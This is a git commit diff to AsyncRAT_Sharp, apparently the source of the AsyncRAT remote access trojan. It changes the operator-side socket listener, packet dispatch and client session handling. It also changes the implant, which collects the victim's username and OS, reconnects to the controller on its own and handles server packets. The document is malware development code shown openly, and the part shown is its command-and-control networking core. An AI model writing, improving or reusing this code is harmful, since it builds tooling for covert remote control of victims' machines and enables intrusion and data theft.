Update
This commit is contained in:
parent
df79845f74
commit
63afbfc91f
@ -22,7 +22,7 @@ namespace AsyncRAT_Sharp
|
||||
while (true)
|
||||
{
|
||||
await Task.Delay(1000);
|
||||
toolStripStatusLabel1.Text = String.Format("Online {0}", listView1.Items.Count.ToString());
|
||||
toolStripStatusLabel1.Text = string.Format("Online {0}", listView1.Items.Count.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
{
|
||||
class HandlePacket
|
||||
{
|
||||
public delegate void UpdateListViewDelegatevoid(Clients Client, byte[] Data);
|
||||
public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data);
|
||||
public static void Read(Clients client, byte[] data)
|
||||
{
|
||||
MsgPack unpack_msgpack = new MsgPack();
|
||||
@ -15,9 +15,9 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "ClientInfo":
|
||||
if (Program.form1.InvokeRequired)
|
||||
if (Program.form1.listView1.InvokeRequired)
|
||||
{
|
||||
Program.form1.Invoke(new UpdateListViewDelegatevoid(Read), new object[] { client, data });
|
||||
Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data });
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -17,7 +17,8 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
public bool BufferRecevied;
|
||||
public MemoryStream MS;
|
||||
public ListViewItem LV;
|
||||
public bool isClientConnected;
|
||||
public event ReadEventHandler Read;
|
||||
public delegate void ReadEventHandler(Clients client, byte[] data);
|
||||
|
||||
public void InitializeClient(Socket CLIENT)
|
||||
{
|
||||
@ -29,9 +30,9 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
Buffer = new byte[1];
|
||||
Buffersize = 0;
|
||||
BufferRecevied = false;
|
||||
isClientConnected = true;
|
||||
MS = new MemoryStream();
|
||||
LV = null;
|
||||
Read += HandlePacket.Read;
|
||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||
|
||||
}
|
||||
@ -51,6 +52,7 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
if (Buffer[0] == 0)
|
||||
{
|
||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
{
|
||||
@ -60,7 +62,6 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
await MS.WriteAsync(Buffer, 0, Buffer.Length);
|
||||
}
|
||||
}
|
||||
@ -69,21 +70,26 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
await MS.WriteAsync(Buffer, 0, Recevied);
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
HandlePacket.Read(this, MS.ToArray());
|
||||
MS = new MemoryStream();
|
||||
|
||||
Read?.BeginInvoke(this, MS.ToArray(), null, null);
|
||||
Buffer = new byte[1];
|
||||
Buffersize = 0;
|
||||
BufferRecevied = false;
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Disconnected();
|
||||
}
|
||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Disconnected();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
delegate void _isDisconnected();
|
||||
@ -95,14 +101,21 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
LV.Remove();
|
||||
}
|
||||
try
|
||||
{
|
||||
MS.Dispose();
|
||||
client.Close();
|
||||
client.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public async void BeginSend(byte[] Msgs)
|
||||
{
|
||||
if (isClientConnected || client.Connected)
|
||||
if (client.Connected)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
using (MemoryStream MS = new MemoryStream())
|
||||
{
|
||||
byte[] buffer = Msgs;
|
||||
|
@ -2,30 +2,39 @@
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
class Listener
|
||||
{
|
||||
public TcpListener listener;
|
||||
public Socket listener;
|
||||
|
||||
public async void Connect(int port)
|
||||
{
|
||||
listener = new TcpListener(IPAddress.Any, port);
|
||||
listener.Server.ReceiveBufferSize = 50 * 1024;
|
||||
listener.Server.SendBufferSize = 50 * 1024;
|
||||
listener.Server.ReceiveTimeout = -1;
|
||||
listener.Server.SendTimeout = -1;
|
||||
listener.Start();
|
||||
try
|
||||
{
|
||||
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, port);
|
||||
listener.SendBufferSize = 50 * 1024;
|
||||
listener.ReceiveBufferSize = 50 * 1024;
|
||||
listener.ReceiveTimeout = -1;
|
||||
listener.SendTimeout = -1;
|
||||
listener.Bind(IpEndPoint);
|
||||
listener.Listen(50);
|
||||
|
||||
while (true)
|
||||
{
|
||||
await Task.Delay(1);
|
||||
if (listener.Pending())
|
||||
{
|
||||
listener.BeginAcceptSocket(EndAccept, null);
|
||||
listener.BeginAccept(EndAccept, null);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
public void EndAccept(IAsyncResult ar)
|
||||
@ -33,11 +42,10 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
try
|
||||
{
|
||||
Clients CL = new Clients();
|
||||
CL.InitializeClient(listener.EndAcceptSocket(ar));
|
||||
CL.InitializeClient(listener.EndAccept(ar));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
{ }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -31,6 +31,9 @@
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<StartupObject />
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
|
@ -2,6 +2,7 @@
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
@ -59,19 +60,20 @@ namespace Client
|
||||
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString();
|
||||
return msgpack.Encode2Bytes();
|
||||
|
||||
}
|
||||
|
||||
public static void ReadServertData(IAsyncResult ar)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (client.Connected == false)
|
||||
{
|
||||
client.Close();
|
||||
client.Dispose();
|
||||
MS.Dispose();
|
||||
InitializeClient();
|
||||
}
|
||||
try
|
||||
{
|
||||
|
||||
int Recevied = client.EndReceive(ar);
|
||||
|
||||
if (Recevied > 0)
|
||||
@ -82,6 +84,7 @@ namespace Client
|
||||
if (Buffer[0] == 0)
|
||||
{
|
||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
{
|
||||
@ -100,7 +103,8 @@ namespace Client
|
||||
MS.Write(Buffer, 0, Recevied);
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Read(MS.ToArray());
|
||||
ThreadPool.QueueUserWorkItem(Read, MS.ToArray());
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
Buffer = new byte[1];
|
||||
Buffersize = 0;
|
||||
@ -112,6 +116,7 @@ namespace Client
|
||||
{
|
||||
client.Close();
|
||||
client.Dispose();
|
||||
MS.Dispose();
|
||||
InitializeClient();
|
||||
}
|
||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||
@ -120,14 +125,15 @@ namespace Client
|
||||
{
|
||||
client.Close();
|
||||
client.Dispose();
|
||||
MS.Dispose();
|
||||
InitializeClient();
|
||||
}
|
||||
}
|
||||
|
||||
public static void Read(byte[] Data)
|
||||
public static void Read(object Data)
|
||||
{
|
||||
MsgPack unpack_msgpack = new MsgPack();
|
||||
unpack_msgpack.DecodeFromBytes(Data);
|
||||
unpack_msgpack.DecodeFromBytes((byte[])Data);
|
||||
Console.WriteLine("I recevied a packet from server: " + unpack_msgpack.ForcePathObject("Packet").AsString);
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
|
Loading…
x
Reference in New Issue
Block a user